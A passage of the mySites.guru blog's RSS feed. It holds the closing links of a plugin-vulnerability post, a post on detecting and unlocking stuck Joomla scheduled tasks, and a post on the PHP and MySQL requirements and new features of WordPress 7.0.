&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;WordPress secret key generator&lt;/a&gt; - regenerate your authentication keys and salts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - the same nonce-without-capability pattern across Joomla&apos;s com_ajax and WordPress admin-ajax.php&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all patched critical issues in the same disclosure window as CVE-2026-3098&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - another WordPress plugin admin-ajax.php handler that made it one step further, landing an unauthenticated arbitrary file upload (CVSS 9.8) affecting around 50,000 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;For a broader look at CMS security, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>security</category><category>plugins</category><category>vulnerability</category><category>smart slider</category><enclosure url="https://mysites.guru/_astro/smart-slider-3-vulnerability.DUZJnt8P.png" length="0" type="image/png"/></item><item><title>Detect Locked Joomla Scheduled Tasks Before They Cause Problems</title><link>https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/</link><guid isPermaLink="true">https://mysites.guru/blog/detect-locked-joomla-scheduled-tasks/</guid><description>Joomla&apos;s Task Scheduler can leave tasks stuck in a locked state after crashes or timeouts. mySites.guru detects and unlocks them across all your sites.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla&apos;s Task Scheduler has been running background jobs since Joomla 4.1: sending update notifications, cleaning up expired sessions, rotating logs, processing privacy consent requests. It works well, right up until a task crashes mid-execution. When that happens, the lock is never released. The task sits there marked as &quot;running&quot; even though the process died minutes or hours ago.&lt;/p&gt;
&lt;p&gt;In the Joomla admin, locked tasks show up with a running person icon in System &amp;gt; Scheduled Tasks:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;But nobody checks that screen regularly. If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage 30 Joomla sites&lt;/a&gt;, you&apos;re not logging into each one to inspect the task scheduler. Update notifications stop arriving, sessions pile up, logs grow unchecked, and you don&apos;t find out until something breaks.&lt;/p&gt;
&lt;h2&gt;Locked-Task Detection in Every Snapshot&lt;/h2&gt;
&lt;p&gt;Every time you run a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; on a Joomla 5 or 6 site, mySites.guru checks for locked scheduled tasks automatically. The result appears in the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;audit dashboard&lt;/a&gt; alongside the rest of your site health data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0 locked tasks: green badge, everything healthy&lt;/li&gt;
&lt;li&gt;1 or more locked tasks: warning badge with the count, plus Investigate and Fix buttons&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click Investigate to see exactly which tasks are stuck. mySites.guru connects to the site and pulls the full details: task name, type, how long it&apos;s been locked, the last exit code, and an Unlock button to fix it on the spot.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a task has been locked for more than 15 minutes, mySites.guru flags it with an additional warning. Joomla&apos;s default task timeout is 300 seconds. Anything beyond that is almost certainly stuck, not actively running.&lt;/p&gt;
&lt;p&gt;The check itself is lightweight - a single &lt;code&gt;COUNT(*)&lt;/code&gt; query against an indexed column, adding negligible overhead to the snapshot.&lt;/p&gt;
&lt;h3&gt;What about checking all your sites at once?&lt;/h3&gt;
&lt;p&gt;If you manage dozens or hundreds of Joomla sites, you don&apos;t want to open each snapshot individually. The pivot page shows the locked task count for every connected Joomla site on a single screen. One glance tells you which sites have stuck tasks and which are clean. Click Investigate on any flagged site to drill into the details, or Fix to unlock the stuck tasks remotely.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is where the real time savings come in. Instead of logging into 200 Joomla admin panels to check System &amp;gt; Scheduled Tasks on each one, you get the full picture from one page. Sites with zero locked tasks show green. Sites with stuck tasks show a warning count. Sort, scan, fix, move on.&lt;/p&gt;
&lt;h2&gt;The Downstream Damage From Locked Tasks&lt;/h2&gt;
&lt;p&gt;Stuck scheduled tasks don&apos;t crash your site, but the downstream effects accumulate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update Notification: you stop getting emails about available Joomla and extension updates. The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update check&lt;/a&gt; still works from mySites.guru, but local admin notifications go silent.&lt;/li&gt;
&lt;li&gt;Session GC: expired sessions aren&apos;t cleaned up. The &lt;code&gt;#__session&lt;/code&gt; table grows, slowing database queries.&lt;/li&gt;
&lt;li&gt;Privacy Consent: GDPR consent expiry processing stops. Users who should be re-prompted aren&apos;t.&lt;/li&gt;
&lt;li&gt;Log Rotation: action logs grow without bounds. On high-traffic sites, this eats disk space fast.&lt;/li&gt;
&lt;li&gt;Custom tasks from third-party extensions stop running with no error message.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last one deserves extra attention. Third-party extensions can register their own scheduled tasks via &lt;code&gt;com_scheduler&lt;/code&gt; plugins. &lt;a href=&quot;https://www.akeeba.com/&quot;&gt;Akeeba Backup&lt;/a&gt; is the most common example - it provides a task plugin for &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;automated backup schedules&lt;/a&gt;. If you&apos;ve set up Akeeba to run nightly backups via the scheduler and the task locks, your backups stop silently. You won&apos;t know until you need a restore and find the most recent backup is three weeks old.&lt;/p&gt;
&lt;p&gt;Any extension that ships a &lt;code&gt;com_scheduler&lt;/code&gt; task plugin is at risk. The Investigate view in mySites.guru shows the task type identifier, so you can tell immediately whether a locked task belongs to Joomla core or a third-party extension.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;com_scheduler&lt;/code&gt; is also worth keeping up to date for security reasons - the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1 security release&lt;/a&gt; closes an ACL bypass in the scheduler itself, so patching alongside the regular lock-detection workflow is a good idea.&lt;/p&gt;
&lt;p&gt;None of these cause immediate, visible errors. That&apos;s the problem. They&apos;re the kind of issues you discover weeks later when someone asks &quot;why haven&apos;t we had an update notification in a month?&quot; or when a backup is needed and the latest one is stale.&lt;/p&gt;
&lt;h2&gt;Why do Joomla scheduled tasks get stuck?&lt;/h2&gt;
&lt;p&gt;Joomla scheduled tasks get stuck when the PHP process running them dies without releasing the database lock. The four most common causes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PHP hits &lt;code&gt;max_execution_time&lt;/code&gt; or &lt;code&gt;memory_limit&lt;/code&gt;, the process dies, and the database lock persists because there&apos;s no cleanup handler.&lt;/li&gt;
&lt;li&gt;Long-running tasks lose their database connection, especially on shared hosting with aggressive connection timeouts.&lt;/li&gt;
&lt;li&gt;The web server or PHP-FPM restarts while a task is running. The lock stays.&lt;/li&gt;
&lt;li&gt;A third-party plugin providing a scheduled task throws a fatal error. The task framework can&apos;t catch it, so the lock remains.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These aren&apos;t edge cases. On a busy shared host, PHP timeouts and connection drops happen regularly. If you manage multiple Joomla sites across different hosts, you&apos;ll eventually run into locked tasks on at least a few of them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note: &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/47217&quot;&gt;Joomla 5.4.2 improved cascade behaviour&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Before Joomla 5.4.2, a single stuck task would block &lt;em&gt;all&lt;/em&gt; other scheduled tasks from running. The scheduler checked for any locked task and refused to start new ones, even if the lock had long exceeded its timeout. Joomla 5.4.2 fixed this by respecting the configured timeout, so a timed-out task no longer prevents other tasks from executing. The stuck task itself still needs manual unlocking, but at least it no longer takes the entire scheduler down with it.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do I unlock a stuck Joomla scheduled task?&lt;/h2&gt;
&lt;p&gt;The fastest way is directly from mySites.guru. When the snapshot flags locked tasks, click Fix to unlock them remotely. mySites.guru connects to the site and clears the lock on the stuck tasks without you ever logging into the Joomla admin. This is the whole point of the feature - detect and resolve locked tasks across all your sites from one dashboard, instead of logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you prefer to fix it manually, you can also unlock tasks from the Joomla admin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Scheduled Tasks&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find the task showing the running person icon&lt;/li&gt;
&lt;li&gt;Click the task to open it&lt;/li&gt;
&lt;li&gt;The task detail screen will show the lock state, and you can manually unlock it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Or if you have database access:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE #__scheduler_tasks SET locked = NULL WHERE id = &amp;lt;task_id&amp;gt;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your actual table prefix (usually &lt;code&gt;jml_&lt;/code&gt; or similar) and &lt;code&gt;&amp;lt;task_id&amp;gt;&lt;/code&gt; with the task ID shown in the mySites.guru investigate results.&lt;/p&gt;
&lt;h2&gt;Supported Joomla Versions for This Check&lt;/h2&gt;
&lt;p&gt;The Task Scheduler was introduced in Joomla 4.1, but this feature targets &lt;strong&gt;Joomla 5 and Joomla 6&lt;/strong&gt; sites. Those are the actively supported major versions, and the ones where mySites.guru invests in new audit tooling.&lt;/p&gt;
&lt;p&gt;Joomla 4 sites will not show locked task data. Joomla 3 has no task scheduler at all.&lt;/p&gt;
&lt;h2&gt;Credit for the Feature Request&lt;/h2&gt;
&lt;p&gt;This feature was requested by &lt;a href=&quot;https://www.woluweb.be/&quot;&gt;Marc Dechèvre&lt;/a&gt; (WoluWeb), a long-time Joomla contributor and mySites.guru user. Marc noticed that locked tasks were a recurring pain point for agencies managing Joomla sites at scale. The information was always there in the database, but nobody had an easy way to check it across multiple sites without logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you have feature ideas for mySites.guru, get in touch via the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt; or reply to any newsletter email. User feedback drives the roadmap.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Help4.x:Scheduled_Tasks/en&quot;&gt;Joomla Scheduled Tasks Documentation&lt;/a&gt; - official help page covering task types, options, and the scheduler interface&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&quot;&gt;Get to Know the Joomla Task Scheduler&lt;/a&gt; - Joomla Community Magazine introduction to the feature from its launch&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J5.x:Execution_History_of_Scheduled_Tasks&quot;&gt;Execution History of Scheduled Tasks (Joomla 5.x)&lt;/a&gt; - how to review task execution logs, added in Joomla 5.3&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/47217&quot;&gt;Issue #47217: Fix scheduled tasks stopping when one gets stuck&lt;/a&gt; - the Joomla issue tracker entry for the 5.4.2 cascade fix&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/php-file-scanner-joomlascheduled.html&quot;&gt;Akeeba Backup Scheduled Tasks Integration&lt;/a&gt; - how Akeeba uses the Joomla scheduler for automated backups&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do I try it?&lt;/h2&gt;
&lt;p&gt;The locked scheduled tasks check ships with all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost. Connect your Joomla 5 or 6 sites and the next snapshot picks up any locked tasks automatically.&lt;/p&gt;
&lt;p&gt;Not a subscriber? The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; runs a broad set of Joomla health checks on any site. Worth a look.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 5</category><category>joomla 6</category><category>scheduled tasks</category><category>audit</category><enclosure url="https://mysites.guru/_astro/detect-locked-joomla-scheduled-tasks.BA0dmnIK.webp" length="0" type="image/webp"/></item><item><title>How to Check Your Sites for WordPress 7.0 Compatibility</title><link>https://mysites.guru/blog/wordpress-7-requirements/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-7-requirements/</guid><description>WordPress 7.0 requires PHP 7.4+ and MySQL 8.0+, dropping PHP 7.2/7.3. Sites on older versions won&apos;t auto-update. Check your whole portfolio in seconds.</description><pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update (21 May 2026): WordPress 7.0 &quot;Armstrong&quot; has shipped.&lt;/p&gt;
  &lt;p&gt;WordPress 7.0 was released on 20 May 2026 after the April delay. &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-fully-compatible-with-wordpress-7/&quot;&gt;mySites.guru is fully compatible&lt;/a&gt;. Real-time collaboration was pulled from the release and deferred to 7.1, but the PHP 7.4 and MySQL 8.0 minimums below are confirmed.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;WordPress 7.0 was originally scheduled for April 9, 2026, but the release has been delayed while the core team reworks the real-time collaboration architecture. It raises two big floor requirements: &lt;strong&gt;PHP 7.2 and 7.3 are dropped&lt;/strong&gt; (minimum moves to PHP 7.4), and &lt;strong&gt;MySQL 8.0 is now the minimum database version&lt;/strong&gt; (up from 5.5.5 in WordPress 6.9). Sites that don&apos;t meet either requirement will not be offered the auto-update.&lt;/p&gt;
&lt;p&gt;If you manage a portfolio of WordPress sites, these are the kind of changes that catch you off guard. A site on old PHP, or a shared host still running MySQL 5.7, and suddenly that site is stuck on 6.9 while everything else moves forward. mySites.guru flags exactly which sites are affected. The &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;Sites Overview&lt;/a&gt; shows PHP versions, MySQL/MariaDB versions, and WordPress versions for every connected site. Sites below the 7.0 minimums stand out immediately. If you&apos;re not a subscriber yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports PHP versions too.&lt;/p&gt;
&lt;h2&gt;What Changed Between WordPress 6.9 and 7.0?&lt;/h2&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;WordPress 6.9&lt;/th&gt;
      &lt;th&gt;WordPress 7.0&lt;/th&gt;
      &lt;th&gt;Changed?&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;&lt;td&gt;PHP (minimum)&lt;/td&gt;&lt;td&gt;7.2.24&lt;/td&gt;&lt;td&gt;7.4&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;PHP (recommended)&lt;/td&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;8.3+&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;MySQL&lt;/td&gt;&lt;td&gt;5.5.5&lt;/td&gt;&lt;td&gt;8.0&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;MariaDB&lt;/td&gt;&lt;td&gt;10.6 (recommended)&lt;/td&gt;&lt;td&gt;10.6&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;HTTPS&lt;/td&gt;&lt;td&gt;Recommended&lt;/td&gt;&lt;td&gt;Recommended&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;Web Server&lt;/td&gt;&lt;td&gt;Apache or Nginx&lt;/td&gt;&lt;td&gt;Apache (mod_rewrite) or Nginx&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The PHP change is the one that will actually affect sites. PHP 7.2 and 7.3 usage dropped below 4% of monitored WordPress installs, which is below the 5% threshold the WordPress project uses for dropping support. The &lt;a href=&quot;https://make.wordpress.org/core/2026/01/09/dropping-support-for-php-7-2-and-7-3/&quot;&gt;official announcement&lt;/a&gt; went up in January.&lt;/p&gt;
&lt;p&gt;MySQL also gets a formal minimum bump. WordPress 6.9 technically allowed MySQL 5.5.5, though MySQL 5.7 extended support from Oracle ended back in October 2023. If your hosting provider is still running MySQL 5.x, that&apos;s a bigger problem than WordPress compatibility.&lt;/p&gt;
&lt;h3&gt;What happened when Joomla required MySQL 8?&lt;/h3&gt;
&lt;p&gt;Joomla went through this exact pain already. When &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 5 launched in October 2023&lt;/a&gt; with MySQL 8.0.13 as its minimum, budget shared hosts weren&apos;t ready. HostGator told users they&apos;d need to move to a VPS at roughly 6x the cost. GoDaddy&apos;s response to &quot;when will shared hosting get MySQL 8?&quot; was basically &quot;we don&apos;t know.&quot; SiteGround didn&apos;t even start their MySQL 8 rollout until April 2024, six months after Joomla 5 launched, and the migration took 63 days and 1,228 engineering hours across roughly 3 million databases.&lt;/p&gt;
&lt;p&gt;The result was a two-year window where Joomla users on cheap shared hosting were stuck: their host wouldn&apos;t upgrade MySQL, they couldn&apos;t upgrade to Joomla 5, and Joomla 4 was marching toward end-of-life. Many switched to MariaDB (which hosts offered more readily) or changed providers entirely.&lt;/p&gt;
&lt;p&gt;WordPress users are unlikely to hit this as hard. WordPress was still allowing MySQL 5.5.5 until now, so the jump to 8.0 sounds dramatic, but most hosts upgraded to MySQL 8 during the Joomla migration wave. If your host survived the Joomla 5 transition, you&apos;re probably fine. If they didn&apos;t, well, that tells you something about your host.&lt;/p&gt;
&lt;h2&gt;Sites on PHP 7.2 or 7.3 Stay on the 6.9 Branch&lt;/h2&gt;
&lt;p&gt;They don&apos;t break. WordPress won&apos;t force an incompatible update. Instead:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress 7.0 will not be offered via the automatic update mechanism. Auto-updates skip these sites entirely.&lt;/li&gt;
&lt;li&gt;Security patches for 6.9.x will continue, so sites aren&apos;t left exposed. They stay on the 6.9 security branch.&lt;/li&gt;
&lt;li&gt;Manual updates are blocked too. The Dashboard &amp;gt; Updates screen will tell the site owner to upgrade PHP first.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The risk isn&apos;t immediate breakage. It&apos;s drift. A site stuck on 6.9 gradually falls behind on features, &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerability patches&lt;/a&gt;, and eventually security coverage when the 6.9 branch reaches end of life.&lt;/p&gt;
&lt;h2&gt;How Do You Check PHP Versions Across All Your Sites?&lt;/h2&gt;
&lt;p&gt;Checking one site is easy: Dashboard &amp;gt; Tools &amp;gt; Site Health. Checking 50 or 500 is not.&lt;/p&gt;
&lt;h3&gt;WordPress 7 Compatibility Checker&lt;/h3&gt;
&lt;p&gt;We built a dedicated &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; that lists every connected WordPress site and colour-codes each one against the 7.0 requirements. You can open it from the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; (&lt;code&gt;Cmd+K&lt;/code&gt; or &lt;code&gt;Ctrl+K&lt;/code&gt;) by typing &quot;wordpress 7&quot;, or with the keyboard shortcut &lt;code&gt;c&lt;/code&gt; then &lt;code&gt;7&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, you can open this tool right now:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Check all your WordPress sites for 7.0 compatibility&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;Open WordPress 7 Compatibility Checker&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Colour-codes every connected site&apos;s PHP version, database version, and auto-update status against the WordPress 7.0 requirements. Sites that need attention are flagged immediately.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For each site, the tool shows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP version&lt;/strong&gt; - green if 8.3+ (recommended), yellow if 7.4+ (minimum), red if below 7.4&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database version&lt;/strong&gt; - green for MySQL 8.4+ or MariaDB 11.4+ (current LTS releases), yellow for MySQL 8.0+ or MariaDB 10.6+ (official minimum), red if below&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Auto-update status&lt;/strong&gt; - whether &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; is set in wp-config.php, so you know which sites might auto-upgrade to 7.0 before you&apos;re ready&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server hostname&lt;/strong&gt; - quickly spot which hosting provider or server needs attention&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sites that need action stand out immediately. Filter by hostname to see all sites on one server, or by PHP version to group sites that need the same upgrade. For a closer look at how the colour coding works and what each column means, see the &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 technical requirements check walkthrough&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/sites/&quot;&gt;Sites Overview&lt;/a&gt; also shows PHP and database versions for every connected site if you need a broader view across both WordPress and Joomla. If you&apos;re not a subscriber yet, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; reports PHP versions too.&lt;/p&gt;
&lt;p&gt;From there, coordinate with hosting providers to upgrade PHP on the affected servers before the release. The delay gives you extra time to prepare. Most hosts let you change PHP versions from cPanel or Plesk without a support ticket.&lt;/p&gt;
&lt;h2&gt;What Else Is New in WordPress 7.0&lt;/h2&gt;
&lt;p&gt;PHP and MySQL are the operational headaches, but 7.0 ships a lot more than version bumps.&lt;/p&gt;
&lt;h3&gt;Real-Time Collaboration&lt;/h3&gt;
&lt;p&gt;Phase 3 of the Gutenberg roadmap lands here: real-time collaborative editing in the block editor. Multiple users can edit the same post simultaneously, with changes synced using Yjs (a conflict-free data merging library).&lt;/p&gt;
&lt;p&gt;The default transport is &lt;strong&gt;HTTP polling&lt;/strong&gt;, which works on every host with no special server configuration. Hosting providers can optionally enable WebSocket support for lower latency via the &lt;code&gt;sync.providers&lt;/code&gt; filter.&lt;/p&gt;
&lt;p&gt;One caveat: posts that use classic meta boxes will fall back to traditional post locking instead of real-time collaboration. If you have custom meta boxes, migrate them to &lt;code&gt;register_post_meta()&lt;/code&gt; with &lt;code&gt;show_in_rest =&amp;gt; true&lt;/code&gt; or you won&apos;t get the collaborative editing.&lt;/p&gt;
&lt;p&gt;During the beta/RC period, collaboration is controlled by the &lt;code&gt;WP_ALLOW_COLLABORATION&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. After the stable release, it should be on by default.&lt;/p&gt;
&lt;h3&gt;AI Infrastructure&lt;/h3&gt;
&lt;p&gt;WordPress 7.0 ships a provider-agnostic AI client (&lt;code&gt;WP_AI_Client_Prompt_Builder&lt;/code&gt;) that lets plugins call OpenAI, Anthropic, Google, and other LLM providers through a unified PHP API. A new &lt;strong&gt;Connectors API&lt;/strong&gt; at Settings &amp;gt; Connectors centralizes credentials for external services.&lt;/p&gt;
&lt;p&gt;There&apos;s also an &lt;strong&gt;MCP Adapter&lt;/strong&gt; that exposes WordPress &quot;Abilities&quot; as Model Context Protocol tools at &lt;code&gt;/wp-json/mcp/v1/&lt;/code&gt;, authenticated via Application Passwords. If you&apos;ve been following the MCP spec, this is WordPress giving plugins a standardized way to talk to AI agents.&lt;/p&gt;
&lt;p&gt;You can disable all AI features with a single config option if you don&apos;t want LLM integration on a site.&lt;/p&gt;
&lt;h3&gt;Everything Else&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Images are now resized and compressed in the browser before upload (client-side media processing), which reduces server load&lt;/li&gt;
&lt;li&gt;Blocks can be shown or hidden per screen size (mobile, tablet, desktop)&lt;/li&gt;
&lt;li&gt;The Posts, Pages, and Media screens use new DataViews (list/grid toggle) instead of &lt;code&gt;WP_List_Table&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &quot;Modern&quot; admin color scheme replaces &quot;Fresh&quot; as the default. The old scheme is still available.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cmd+K&lt;/code&gt; / &lt;code&gt;Ctrl+K&lt;/code&gt; opens a Command Palette in the admin bar for quick navigation&lt;/li&gt;
&lt;li&gt;New blocks: Breadcrumbs, Icons, Gallery lightbox, Grid (responsive), Cover (video embeds)&lt;/li&gt;
&lt;li&gt;The Font Library now works with classic and hybrid themes, not just block themes&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Phased Rollout Plan for 7.0&lt;/h2&gt;
&lt;p&gt;If you&apos;ve been testing during the RC cycle, yes - update production sites as soon as the stable release is available. If you haven&apos;t been following the pre-release builds, test on a staging site first and update production once you&apos;re confident.&lt;/p&gt;
&lt;p&gt;The delay actually works in your favour here. Use the extra time to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run the &lt;a href=&quot;https://manage.mysites.guru/en/tools/wordpress7/compatibility&quot;&gt;WordPress 7 Compatibility Checker&lt;/a&gt; to identify sites below PHP 7.4 or MySQL 8.0, then coordinate hosting upgrades&lt;/li&gt;
&lt;li&gt;Test on staging with the latest RC/beta, especially if you use custom meta boxes or heavily customized themes&lt;/li&gt;
&lt;li&gt;Review plugin compatibility - major WordPress releases sometimes break plugins that rely on internal APIs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Plan mass upgrades&lt;/a&gt; - once you&apos;re confident, mySites.guru lets you roll out WordPress updates across all sites from one place&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to control the rollout more tightly, you can &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor upgrades only&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; so sites don&apos;t auto-update to 7.0 before you&apos;re ready.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/31/extending-the-7-0-cycle/&quot;&gt;Extending the 7.0 cycle&lt;/a&gt; - announcement of the release delay (March 31)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/04/02/the-path-forward-for-wordpress-7-0/&quot;&gt;The path forward for WordPress 7.0&lt;/a&gt; - revised timeline details, pre-release pause through April 17 (April 2)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-7-0-release-candidate-2/&quot;&gt;WordPress 7.0 RC2 announcement&lt;/a&gt; - release candidate (March 26, hard string freeze)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/news/2026/03/wordpress-7-0-release-candidate-1/&quot;&gt;WordPress 7.0 RC1 announcement&lt;/a&gt; - first release candidate notes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/01/09/dropping-support-for-php-7-2-and-7-3/&quot;&gt;Dropping PHP 7.2 and 7.3&lt;/a&gt; - Make WordPress Core announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/&quot;&gt;AI Client dev note&lt;/a&gt; - WP_AI_Client documentation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2026/03/18/introducing-the-connectors-api-in-wordpress-7-0/&quot;&gt;Connectors API dev note&lt;/a&gt; - new Settings &amp;gt; Connectors screen&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
